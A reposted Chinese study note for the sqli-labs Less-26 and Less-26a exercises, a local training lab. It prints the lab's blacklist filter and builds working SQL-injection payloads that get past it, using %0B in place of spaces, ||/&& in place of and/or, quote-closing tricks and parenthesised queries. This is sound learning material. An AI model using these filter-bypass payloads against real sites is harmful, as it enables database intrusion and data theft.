- 转自一个不知名大佬的笔记。
----------------------------------less-26------------------------------------
原url:
http://192.168.137.138/sqli-labs-master/Less-26/
按照提示添加ID值
先去测试过滤了那些符号
在ID值后面添加 '")(/ \ #*-+
看看页面的hint:
Hint: Your Input is Filtered with following result: 1'")(
只剩下了 '"()
说明 空格 / \ # * - + 全被过滤了
现在用 ' 和 "测试
单引号报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
错误分析:
near ' ' 1' ' LIMIT 0,1 ' at line 1
后台 sql 语句猜测:
select username,password from table where id = 'input'
构造简单语句:
1'//and//1=1--+
(/**/用于代替空格)
效果如下:
页面报错
看看页面的hint:
Hint: Your Input is Filtered with following result: 1'1=1
空格 /**/ -- 都被过滤了
现在做咩野?
搜集更多信息,比如看看union select有没有被过滤
Hint: Your Input is Filtered with following result: 1unionselect1,2,3,4
可见,union select并没有被过滤
现在去后台中,查看一下源码,看看过滤函数的实现过程:
function blacklist(id= preg_replace('/or/i',"",
id= preg_replace('/and/i',"",
id= preg_replace('/[/*]/',"",
id= preg_replace('/[--]/',"",
id= preg_replace('/[#]/',"",
id= preg_replace('/[\s]/',"",
id= preg_replace('/[/\\]/',"",
id;
}
绕过策略:
--不能用注释符,可以用or和and构造闭合条件
例如:(闭合条件)(注入语句)|| (闭合条件)1
1' union select 1,2,3 || '1 和 1' union select 1,2,3 %26%26 '1的效果相同?
待进一步考证
--不能用 or 和 and 可以用 && 和 || 替代
注:&&在url中具有特殊含义,需要先进行url编码成%26%26
--不能有空格
思路有两个
1.用其他字符替代(空格)
ascii table
TAB 09 horizontal TAB-----------------url编码后就是%09
LF 0A newline-----------------------url编码后----%0A
FF 0C new page----------------------url 编码后-----%OC
CR 0D carriage return-----------------url 编码后------%0D
VT 0B vertical TAB (MySQL and Microsoft SQL Server only)------%0B
- A0 - (MySQL only)-----------%A0
2.构造括号语句(待会儿演示)
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
---------1.用其他字符替代(看sqlmap里的tamper里的脚本,这是sqlmap用来进行绕过的脚本)
*先用 %09 试试
构造语句:
-1' union select 1,2,3 || '1
放在猜测的sql语句中:
select username,password from table where id='-1' union select 1,2,3 || '1'
(这里假设我们知道了字段数为3,所以去测试的时候,返回页面应该是正常的)
注:union select前面的条件应该为假
修改:
1'%09union%09select%091,2,3%09||'1
效果如下:
返回页面错误
看看页面hint:
Hint: Your Input is Filtered with following result: 1'unionselect1,2,3||'1
%09还是被过滤了
*再来试试 %0A
修改的语句如下:
-1'%0Aunion%0Aselect%0A1,2,3%0A||'1
效果如下:
返回页面错误
看看页面hint:
Hint: Your Input is Filtered with following result: 1'unionselect1,2,3||'1
%0A也被过滤
*试试 %0B
修改语句:
-1'%0Bunion%0Bselect%0B1,2,3%0B||'1
效果如下:
返回页面正常!!!!
看看页面hint:
Hint: Your Input is Filtered with following result: 1'�union�select�1,2,3�||'1
%0B起作用了!!
*试试 %0C
修改语句:
-1'%0Cunion%0Cselect%0C1,2,3%0C||'1
返回页面错误
看看页面hint:
Hint: Your Input is Filtered with following result: 1'unionselect1,2,3||'1
%0C 被过滤
*试试 %0D
修改语句:
-1'%0Dunion%0Dselect%0D1,2,3%0D||'1
返回页面错误
hint:
Hint: Your Input is Filtered with following result: 1'unionselect1,2,3||'1
%0D被过滤
*试试 %A0
修改语句:
-1'%A0union%A0select%A01,2,3%A0||'1
返回页面还是错误
hint:
Hint: Your Input is Filtered with following result: 1'?union?select?1,2,3?||'1
%A0也被过滤了
通过如上的实验,测试出 六种代替 ,只有其中一种能够成功,不同数据库版本,不同数据库,不同环境都会有不同的结果
-1'%0Bunion%0Bselect%0B1,2,3%0B||'1
语句说明:
改写成:-1' union select 1,2,3 ||'1
||'1 前面的语句,和以前的普通注入语句相同,就是用联合查询,union select 前面的条件为假,所以最合适的还是这样写:
1' and 1=2 union select 1,2,3 ||'1
后面的部分:
||'1 是为了起到 注释符的作用
因为测试出后台sql语句 的 id = 'input’ ,这个input是由''包裹的
如果不要 ||'1的话
sql语句会变成这样:
select username,password from table where id='-1' union select 1,2,3 '
最后还剩一个单引号
用 ||'1 就可以闭合这个单引号
select username,password from table where id='-1' union select 1,2,3||'1'
而且 或语句 ||,也没有给出判断条件,就给了个 '1',所以 这个 || 可以替换成 &&
不影响结果
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
现在分析如何用 括号() 去代替空格
先进入后台sql中实验:
mysql> select * from users where id=1 or id=5;
+----+----------+-----------+
| id | username | password |
+----+----------+-----------+
| 1 | Dumb | Dumb |
| 5 | stupid | stupidity |
+----+----------+-----------+
2 rows in set (0.00 sec)
正常输出结果了,那么如果不要 空格呢?
mysql> select*fromuserswhereid=1orid=5;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near 'fromu
serswhereid=1orid=5' at line 1
不要空格的话,就会影响sql语句的执行效果
现在用括号,去分割语句
mysql> select*from(users)where(id=1)or(id=5);
+----+----------+-----------+
| id | username | password |
+----+----------+-----------+
| 1 | Dumb | Dumb |
| 5 | stupid | stupidity |
+----+----------+-----------+
2 rows in set (0.00 sec)
看到没,即使没有使用空格,照样输出结果了
这就是构造括号语句
但是有些地方如何构造呢,比如 limit n,m 这里之前一直没构造出来
因为limit后面必须有空格
limit(0,1)这样不行
limit(0),(1)这样不行
(limit)0,1这样不行
(limit)(0),(1)这样还是不行...........
以后再研究
-----------------------------------less-26a----------------------------------
具体思路和步骤都和 less-26 相同
只不过 26a 的过滤条件更加苛刻
将 '"()/# *-+%andor 添加进去后
页面hint:
Hint: Your Input is Filtered with following result: 1'"()
只剩下了 '"()
说明 /#空格*-+%andor 全被过滤
这就只能用 26 中 所学的 构造括号语句了
先来测试闭合条件:' 和 "
测试出 ' 可以破坏语法结构,但是页面并没爆出是什么语法错误,导致我们无从分析
那就只能先假设只是被 ' 包裹
猜测sql语句:
select username,password from table where id='input'
那么现在去构造语句(用普通的1=1和1=2测试不出来闭合条件,至于为什么,等会儿分析)
0'%0bunion%0bselect(1),(2),(3)||'1
说明:union和 select之间是必须加上空格的,其他地方不需要,还有不要把select括起来
这其实有点难度,要构造出正确的括号语句
如果 闭合条件只是 ' 的 话,那么返回页面应该暴露出字段位置
放入猜测的语句中;
select username,password from table where id='0'%0bunion%0bselect(1),(2),(3)||'1'
效果如下:
返回页面出错
这就说明了,闭合条件肯定不是',因为最后的一个闭合条件假如是 ') 的话
那么语句会变成这样:
select username,password from table where id=('0'%0bunion%0bselect(1),(2),(3)||'1')
这肯定出现了语法错误,无论是||前面的语句还是后面的语句
那么 按照以往的经验,试试 ') 作为他的闭合条件试试
语句:
0')%0bunion%0bselect(1),(2),(3)||('1
效果如下:
返回页面成功暴露了 字段位置 信息
这才测试出 闭合条件
select username,password from table where id=('input')
为什么不能用以往的1=1和1=2测试呢?
现在返回我们猜测的闭合条件 是 ' 的那一步
用1=1 和 1=2:
语句:
1'%26%26'1'='1 和 '1%26%26'1'='2
会发现1=2的时候返回错误,1=1的时候返回正确,那是不是''就是真的闭合条件了呢
经过上面的验证,显然不是
为什么会这样?
我们把 1'%26%26'1'='1 放入最后猜测的语句中:
select username,password from table where id=('1'%26%26'1'='1')
select username,password from table where id=('1'and'1'='1')
这确实是闭合的。。。。。但 ' 不是真正的闭合条件
其实呢,即使把'当成了闭合条件,在接下来的注入过程中,肯定会发现问题的
&&******&&
有一种快捷的辨别方式:
1(闭合条件)and(闭合条件)1
改变前面的1,也就是:
2(闭合条件)and(闭合条件)1
如果返回页面改变,则闭合条件正确
这里就不能用 or 了,因为 or 两侧,其一为真,结果为真
既然测试出了闭合条件,剩下的就是爆信息了
0')%0bunion%0bselect(注入语句),(注入语句),(注入语句)||('1
本节课重点:
1.绕过方法的组合运用
用到了绕过注释符,绕过空格,绕过and和or
2.学习工具的原理(现在能力不够,以后再来,sqlmap里的脚本)